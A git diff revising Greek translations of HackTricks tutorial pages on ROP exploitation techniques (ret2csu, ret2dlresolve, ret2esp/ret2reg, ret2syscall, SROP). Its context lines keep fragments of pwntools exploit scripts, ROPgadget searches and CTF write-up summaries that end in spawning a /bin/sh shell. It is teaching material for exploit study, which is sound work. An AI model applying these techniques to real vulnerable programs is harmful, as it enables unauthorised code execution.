Εδώ είναι που μπαίνει σε παιχνίδι το **ret2csu**:
@@ -111,7 +111,7 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
> [!WARNING]
-> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, προορίζεται απλώς να καλέσει μια συνάρτηση που ονομάζεται **`win`** (λαμβάνοντας τη διεύθυνση του `win` από το stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με ένα τρίτο επιχείρημα με την τιμή `0xdeadbeefcafed00d`.
+> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, αλλά απλώς καλεί μια συνάρτηση που ονομάζεται **`win`** (λαμβάνοντας τη διεύθυνση του `win` από το stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με ένα τρίτο επιχείρημα με την τιμή `0xdeadbeefcafed00d`.
### Παράκαμψη της κλήσης και προσέγγιση του ret
@@ -165,8 +165,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
-### Γιατί να μην χρησιμοποιήσετε απευθείας το libc;
+### Γιατί να μην χρησιμοποιήσετε απευθείας τη libc;
-Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στο libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή**.
+Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στη libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή**.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
index d949187e5..b8cdf905b 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
@@ -4,16 +4,16 @@
## Basic Information
-Όπως εξηγείται στη σελίδα σχετικά με [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά αρχεία χωρίς Full Relro θα επιλύσουν σύμβολα (όπως διευθύνσεις σε εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση συμβαίνει καλώντας τη συνάρτηση **`_dl_runtime_resolve`**.
+Όπως εξηγείται στη σελίδα για το [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και το [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά αρχεία χωρίς Full Relro θα επιλύσουν σύμβολα (όπως διευθύνσεις σε εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση συμβαίνει καλώντας τη συνάρτηση **`_dl_runtime_resolve`**.
Η συνάρτηση **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε κάποιες δομές που χρειάζεται για να **επιλύσει** το καθορισμένο σύμβολο.
-Επομένως, είναι δυνατό να **ψευδοποιηθούν όλες αυτές οι δομές** για να κάνει η δυναμική σύνδεση την επίλυση του ζητούμενου συμβόλου (όπως η συνάρτηση **`system`**) και να την καλέσει με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**).
+Επομένως, είναι δυνατό να **ψευδοποιηθούν όλες αυτές οι δομές** ώστε η δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η συνάρτηση **`system`**) και να την καλέσει με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**).
Συνήθως, όλες αυτές οι δομές ψευδοποιούνται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`**, κάνοντάς την να **επιλύσει τη διεύθυνση του `system`** στις ψευδοποιημένες δομές και **καλώντας αυτή τη διεύθυνση** με τη διεύθυνση του `$'/bin/sh'`.
> [!TIP]
-> Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν gadgets syscall (για να χρησιμοποιηθούν τεχνικές όπως [**ret2syscall**](rop-syscall-execv/) ή [SROP](srop-sigreturn-oriented-programming/)) και δεν υπάρχουν τρόποι να διαρρεύσουν διευθύνσεις libc.
+> Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν gadgets syscall (για να χρησιμοποιηθούν τεχνικές όπως [**ret2syscall**](rop-syscall-execv/index.html) ή [SROP](srop-sigreturn-oriented-programming/index.html)) και δεν υπάρχουν τρόποι να διαρρεύσουν διευθύνσεις libc.
Δείτε αυτό το βίντεο για μια ωραία εξήγηση σχετικά με αυτή την τεχνική στο δεύτερο μισό του βίντεο:
@@ -29,7 +29,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
## Attack Summary
1. Γράψτε ψευδείς δομές σε κάποια τοποθεσία
-2. Ρυθμίστε το πρώτο επιχείρημα του system (`$rdi = &'/bin/sh'`)
+2. Ρυθμίστε το πρώτο επιχείρημα της `system` (`$rdi = &'/bin/sh'`)
3. Ρυθμίστε στη στοίβα τις διευθύνσεις στις δομές για να καλέσετε **`_dl_runtime_resolve`**
4. **Καλέστε** `_dl_runtime_resolve`
5. **`system`** θα επιλυθεί και θα κληθεί με `'/bin/sh'` ως επιχείρημα
@@ -56,7 +56,7 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
```
## Παράδειγμα
-### Καθαρά Pwntools
+### Καθαρό Pwntools
Μπορείτε να βρείτε ένα [**παράδειγμα αυτής της τεχνικής εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **που περιέχει μια πολύ καλή εξήγηση της τελικής αλυσίδας ROP**, αλλά εδώ είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε:
```python
@@ -80,7 +80,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive()
```
-### Ακατέργαστο
+### Ωμός
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@@ -188,6 +188,6 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
-- 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασικό μικρό buffer overflow και επιστροφή. Για να το εκμεταλλευτεί, το bof χρησιμοποιείται για να καλέσει ξανά το `read` με μια ενότητα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, να επιστρέψει στο main και να επαναχρησιμοποιήσει το αρχικό bof για να καλέσει το dlresolve και στη συνέχεια `system('/bin/sh')`.
+- 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασική μικρή υπερχείλιση buffer και επιστροφή. Για να το εκμεταλλευτεί, η bof χρησιμοποιείται για να καλέσει ξανά το `read` με μια ενότητα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, επιστρέφει στο main και επαναχρησιμοποιεί την αρχική bof για να καλέσει το dlresolve και στη συνέχεια `system('/bin/sh')`.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index 71992d0c6..ba6e65e8f 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -6,9 +6,9 @@
**Επειδή ο ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας**, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας **`jmp esp`** ή **`call esp`** εντολής. Κάνοντας αυτό, ο κώδικας shell τοποθετείται ακριβώς μετά την αντικατεστημένη EIP. Όταν εκτελείται η εντολή `ret`, ο ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που είναι αποθηκευμένος ο κώδικας shell.
-Αν **Η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** δεν είναι ενεργοποιημένη σε Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές `jmp esp` ή `call esp` που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ενεργό, μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Αν **η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** δεν είναι ενεργοποιημένη σε Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές `jmp esp` ή `call esp` που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με την [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ενεργή, μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
-Επιπλέον, η δυνατότητα τοποθέτησης του κώδικα shell **μετά την καταστροφή του EIP**, αντί να είναι στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές `push` ή `pop` που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν θα παρεμβαίνουν στον κώδικα shell. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο κώδικας shell τοποθετούνταν στη μέση της στοίβας της συνάρτησης.
+Επιπλέον, η δυνατότητα τοποθέτησης του κώδικα shell **μετά την καταστροφή του EIP**, αντί στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές `push` ή `pop` που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν θα παρεμβαίνουν στον κώδικα shell. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο κώδικας shell τοποθετούνταν στη μέση της στοίβας της συνάρτησης.
### Έλλειψη χώρου
@@ -86,7 +86,7 @@ target.interactive()
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
-- **`strcpy`** θα αποθηκεύσει στο **`eax`** τη διεύθυνση του buffer όπου ήταν αποθηκευμένο το shellcode και **`eax`** δεν επαναγράφεται, οπότε είναι δυνατό να χρησιμοποιηθεί ένα `ret2eax`.
+- **`strcpy`** θα αποθηκεύσει στο **`eax`** τη διεύθυνση του buffer όπου ήταν αποθηκευμένο το shellcode και **`eax`** δεν επαναγράφεται, οπότε είναι δυνατή η χρήση ενός `ret2eax`.
## ARM64
@@ -108,9 +108,9 @@ done
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
-Στην ARM64, είναι **`x0`** που αποθηκεύει την τιμή επιστροφής μιας συνάρτησης, οπότε θα μπορούσε να είναι ότι το x0 αποθηκεύει τη διεύθυνση ενός buffer που ελέγχεται από τον χρήστη με ένα shellcode για εκτέλεση.
+Στην ARM64, είναι το **`x0`** που αποθηκεύει την τιμή επιστροφής μιας συνάρτησης, οπότε θα μπορούσε να είναι ότι το x0 αποθηκεύει τη διεύθυνση ενός buffer που ελέγχεται από τον χρήστη με ένα shellcode για εκτέλεση.
-Example code:
+Παράδειγμα κώδικα:
```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@@ -135,15 +135,15 @@ do_stuff(2)
return 0;
}
```
-Ελέγχοντας την αποσυναρμολόγηση της συνάρτησης, είναι δυνατόν να δούμε ότι η **διεύθυνση του buffer** (ευάλωτη σε bof και **ελεγχόμενη από τον χρήστη**) είναι **αποθηκευμένη στο `x0`** πριν επιστρέψει από την υπερχείλιση buffer:
+Ελέγχοντας την αποσυναρμολόγηση της συνάρτησης, είναι δυνατόν να δούμε ότι η **διεύθυνση προς το buffer** (ευάλωτο σε bof και **ελεγχόμενο από τον χρήστη**) είναι **αποθηκευμένη στο `x0`** πριν επιστρέψει από την υπερχείλιση buffer:
-Είναι επίσης δυνατόν να βρούμε το gadget **`br x0`** στη συνάρτηση **`do_stuff`**:
+Είναι επίσης δυνατό να βρούμε το gadget **`br x0`** στη συνάρτηση **`do_stuff`**:
-Θα χρησιμοποιήσουμε αυτό το gadget για να κάνουμε άλμα σε αυτό, επειδή το δυαδικό είναι μεταγλωττισμένο **ΧΩΡΙΣ PIE.** Χρησιμοποιώντας ένα μοτίβο, είναι δυνατόν να δούμε ότι η **απόσταση της υπερχείλισης buffer είναι 80**, οπότε η εκμετάλλευση θα είναι:
+Θα χρησιμοποιήσουμε αυτό το gadget για να κάνουμε άλμα σε αυτό γιατί το δυαδικό είναι μεταγλωττισμένο **ΧΩΡΙΣ PIE.** Χρησιμοποιώντας ένα μοτίβο, είναι δυνατόν να δούμε ότι η **απόσταση της υπερχείλισης buffer είναι 80**, οπότε η εκμετάλλευση θα είναι:
```python
from pwn import *
@@ -159,15 +159,15 @@ p.sendline(payload)
p.interactive()
```
> [!WARNING]
-> Αντί για `fgets` χρησιμοποιήθηκε κάτι όπως **`read`**, θα ήταν δυνατό να παρακαμφθεί το PIE απλά **υπεργράφοντας τα τελευταία 2 bytes της διεύθυνσης επιστροφής** για να επιστρέψει στην εντολή `br x0;` χωρίς να χρειάζεται να γνωρίζουμε τη συνολική διεύθυνση.\
+> Αντί για `fgets` χρησιμοποιούνταν κάτι όπως **`read`**, θα ήταν δυνατό να παρακαμφθεί το PIE απλά **υπεργράφοντας τα τελευταία 2 bytes της διεύθυνσης επιστροφής** για να επιστρέψει στην εντολή `br x0;` χωρίς να χρειάζεται να γνωρίζουμε τη συνολική διεύθυνση.\
> Με το `fgets` δεν λειτουργεί γιατί **προσθέτει ένα null (0x00) byte στο τέλος**.
-## Protections
+## Προστασίες
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Αν η στοίβα δεν είναι εκτελέσιμη, αυτό δεν θα βοηθήσει καθώς πρέπει να τοποθετήσουμε το shellcode στη στοίβα και να κάνουμε jump για να το εκτελέσουμε.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump σε esp ή οποιοδήποτε άλλο register.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump σε esp ή οποιοδήποτε άλλο register.
-## References
+## Αναφορές
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
index 6ee65ec5c..771800381 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
@@ -13,10 +13,10 @@
- `rsi: 0 specify no arguments passed`
- `rdx: 0 specify no environment variables passed`
-Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη την padding που απαιτείται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή.
+Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη την padding που χρειάζεται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή.
> [!TIP]
-> Ένα άλλο ενδιαφέρον syscall που μπορεί να καλέσει είναι το **`mprotect`** το οποίο θα επιτρέπει σε έναν επιτιθέμενο να **τροποποιήσει τις άδειες μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
+> Ένα άλλο ενδιαφέρον syscall για κλήση είναι το **`mprotect`** το οποίο θα επέτρεπε σε έναν επιτιθέμενο να **τροποποιήσει τις άδειες μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
## Register gadgets
@@ -43,9 +43,9 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
-### Γράψτε συμβολοσειρά στη μνήμη
+### Γράψτε Συμβολοσειρά στη μνήμη
-Στη συνέχεια, πρέπει να βρείτε έναν τρόπο να γράψετε αυθαίρετο περιεχόμενο σε αυτή τη διεύθυνση
+Τότε πρέπει να βρείτε έναν τρόπο να γράψετε αυθαίρετο περιεχόμενο σε αυτή τη διεύθυνση
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
@@ -94,7 +94,7 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
-## Έλλειψη Gadgets
+## Lacking Gadgets
Αν **λείπουν gadgets**, για παράδειγμα για να γράψετε `/bin/sh` στη μνήμη, μπορείτε να χρησιμοποιήσετε την **τεχνική SROP για να ελέγξετε όλες τις τιμές των καταχωρητών** (συμπεριλαμβανομένων των RIP και των καταχωρητών παραμέτρων) από τη στοίβα:
@@ -102,7 +102,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
../srop-sigreturn-oriented-programming/
{{#endref}}
-## Παράδειγμα Εκμετάλλευσης
+## Exploit Example
```python
from pwn import *
diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
index 0cd4cbc22..28f66bde0 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md
@@ -6,12 +6,12 @@
**`Sigreturn`** είναι μια ειδική **syscall** που χρησιμοποιείται κυρίως για να καθαρίσει μετά την ολοκλήρωση της εκτέλεσης ενός χειριστή σήματος. Τα σήματα είναι διακοπές που αποστέλλονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, σταματά προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη να ασχολείται με τα σήματα.
-Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το πλαίσιο στοίβας (το τμήμα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
+Αφού ο χειριστής σήματος ολοκληρώσει, το πρόγραμμα πρέπει να **επανέλθει στην προηγούμενη κατάσταση** του σαν να μην είχε συμβεί τίποτα. Εδώ έρχεται στο παιχνίδι το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και αποκαθιστά την κατάσταση του προγράμματος καθαρίζοντας το stack frame (την ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
-Το ενδιαφέρον μέρος είναι πώς το **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στη στοίβα.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` αφαιρεί αυτές τις τιμές από τη στοίβα**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση τους πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στοίβας (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή της στοίβας.
+Το ενδιαφέρον μέρος είναι πώς το **`sigreturn`** αποκαθιστά την κατάσταση του προγράμματος: το κάνει αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU στο stack.** Όταν το σήμα δεν είναι πλέον αποκλεισμένο, **`sigreturn` αφαιρεί αυτές τις τιμές από το stack**, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάσταση πριν από την επεξεργασία του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη stack (RSP), ο οποίος δείχνει στην τρέχουσα κορυφή του stack.
> [!CAUTION]
-> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στη **στοίβα** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`.
+> Η κλήση της syscall **`sigreturn`** από μια αλυσίδα ROP και **η προσθήκη των τιμών καταχωρητών** που θα θέλαμε να φορτώσει στο **stack** είναι δυνατή για να **ελέγξουμε** όλες τις τιμές καταχωρητών και επομένως να **καλέσουμε** για παράδειγμα τη syscall `execve` με `/bin/sh`.
Σημειώστε πώς αυτό θα ήταν μια **τύπου Ret2syscall** που διευκολύνει πολύ τον έλεγχο των παραμέτρων για να καλέσουμε άλλες Ret2syscalls:
@@ -19,7 +19,7 @@
../rop-syscall-execv/
{{#endref}}
-Αν σας ενδιαφέρει, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στη στοίβα για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
+Αν είστε περίεργοι, αυτή είναι η **δομή sigcontext** που αποθηκεύεται στο stack για να ανακτηθούν αργότερα οι τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
```
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
@@ -55,7 +55,7 @@
| __reserved | sigmask |
+--------------------+--------------------+
```
-Για μια καλύτερη εξήγηση ελέγξτε επίσης:
+Για μια καλύτερη εξήγηση, ελέγξτε επίσης:
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
@@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
## Παράδειγμα
-Μπορείτε να [**βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή `0xf`), αν και αυτό είναι το τελικό exploit από εκεί:
+Μπορείτε να [**βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή `0xf`), αν και αυτή είναι η τελική εκμετάλλευση από εκεί:
```python
from pwn import *
@@ -128,14 +128,14 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
-- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που βρίσκεται μέσα στη μνήμη του binary.
+- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί την **`sigreturn`** syscall. Είναι δυνατόν να γραφεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/index.html) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που βρίσκεται στη μνήμη του binary.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
-- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί το **`sigreturn`** syscall. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** (το binary έχει τη συμβολοσειρά `/bin/sh`).
+- Assembly binary που επιτρέπει να **γραφεί στη στοίβα** και στη συνέχεια καλεί την **`sigreturn`** syscall. Είναι δυνατόν να γραφεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/index.html) μέσω μιας δομής **sigreturn** (το binary έχει τη συμβολοσειρά `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
-- 64 bits, no relro, no canary, nx, no pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία `gets` με έλλειψη gadgets που εκτελεί ένα [**ret2syscall**](../rop-syscall-execv/). Η αλυσίδα ROP γράφει `/bin/sh` στο `.bss` καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία **`alarm`** για να ορίσει το eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα shell.
+- 64 bits, no relro, no canary, nx, no pie. Απλή υπερχείλιση buffer που εκμεταλλεύεται τη λειτουργία `gets` με έλλειψη gadgets που εκτελεί ένα [**ret2syscall**](../rop-syscall-execv/index.html). Η αλυσίδα ROP γράφει `/bin/sh` στο `.bss` καλώντας ξανά το gets, εκμεταλλεύεται τη λειτουργία **`alarm`** για να ορίσει το eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα shell.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
